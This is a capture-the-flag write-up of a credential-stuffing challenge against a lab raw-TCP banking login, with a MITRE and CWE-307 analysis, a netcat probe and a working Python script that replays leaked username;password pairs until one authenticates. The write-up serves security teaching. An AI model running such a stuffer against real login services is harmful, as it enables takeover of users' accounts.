Credential Stuffing
- Technique
- Credential stuffing (password reuse)
- Target
- Raw-TCP login, 1500 leaked pairs
- Tools
- Python sockets, netcat
- Key lesson
- Test success positively, not by absence
MITRE ATT&CK Mapping
| Tactic | Technique | ID | Evidence |
|---|---|---|---|
| Credential Access | Brute Force: Credential Stuffing | T1110.004 | Replayed 1500 leaked username;password pairs against the login |
| Initial Access | Valid Accounts | T1078 | One reused pair authenticated, granting access to the account |
Vulnerability Analysis
Root Cause: The login has no real lockout or throttling on failed attempts — only an incidental concurrency cap unrelated to abuse prevention — so a leaked credential list can be replayed to completion.
- CWE-307: Improper Restriction of Excessive Authentication Attempts — No account lockout or rate limiting stopped 1500 sequential login attempts
Severity: No CVSS score applies — this is a lab-built login service, not a scored vulnerability in a shipped product. The practical effect is account takeover whenever a user reuses a breached password.
References:
CWE-307
Summary
The challenge hands you 1500 leaked username;password pairs and one login — a raw-TCP “Online Banking Service” that prompts for a username then a password. Try every pair until one authenticates; the logged-in account prints the flag. Simple in theory — the interesting part was making the automation reliable.
The whole attack only works because people reuse passwords across sites. Credential stuffing is replaying one site's breach against another.
Recon
The dump is semicolon-separated, 1500 lines. The service is raw TCP (not HTTP): it prints Username: / Password:, and a failed attempt ends with Invalid username or password, then the server closes the connection — one attempt per connection.
printf '\n' | nc xebec.cylabacademy.net 44232
# Welcome to the Online Banking Service!
# Username: Password:
The debugging path
My first two versions worked on the wrong assumptions. Fixing them is the real lesson:
- False positive. v1 treated “no ‘Invalid’ in the reply” as success. Under parallel load, a
recvtimed out before the reply arrived → empty text → false hit (riva:trent, which a manual check disproved). - Stall at exactly 300. With concurrent workers it froze at ~300 attempts every run. It looked like a rate limit — but timing 12 rapid sequential connections showed all were fast (~0.6s each). So it was a concurrency cap, not a per-attempt limit.
- Fix: go fully sequential, and read until the server closes the socket so every reply is complete before judging it.
The working stuffer
def one_try(u, p, timeout=12):
s = socket.socket(); s.settimeout(timeout); s.connect((HOST, PORT))
s.sendall((u + "\n" + p + "\n").encode())
data = b""
while True:
try: chunk = s.recv(4096)
except socket.timeout: break
if not chunk: break # server closed = complete reply
data += chunk
if b"Invalid username or password" in data: break
s.close(); return data.decode(errors="replace")
for u, p in pairs: # one connection at a time
txt = one_try(u, p)
if "Invalid username or password" not in txt and "Password:" in txt:
print("HIT", u, p); break # real, complete success reply
Result
A few hundred pairs in, one leaked pair authenticated:
Authenticating...
Welcome <user>!
<flag redacted>
Takeaways
- Test success positively. “No error” isn't “success” — a timeout looks identical. Require a real success marker.
- Read until the server closes for one-shot TCP protocols, or you get truncated, ambiguous data.
- Diagnose before assuming. One timing test disproved the “rate limit” theory and pointed at the real concurrency cap.
- The flag spells out the moral: don't reuse credentials.
References & Standards
- MITRE Framework
- MITRE ATT&CK — Adversary Tactics, Techniques, and Common Knowledge
- Common Weakness Enumeration
- CWE-307: Improper Restriction of Excessive Authentication Attempts
- Security Guidance
- OWASP Credential Stuffing Prevention Cheat Sheet
- OWASP Top 10 — Most Critical Web Application Security Risks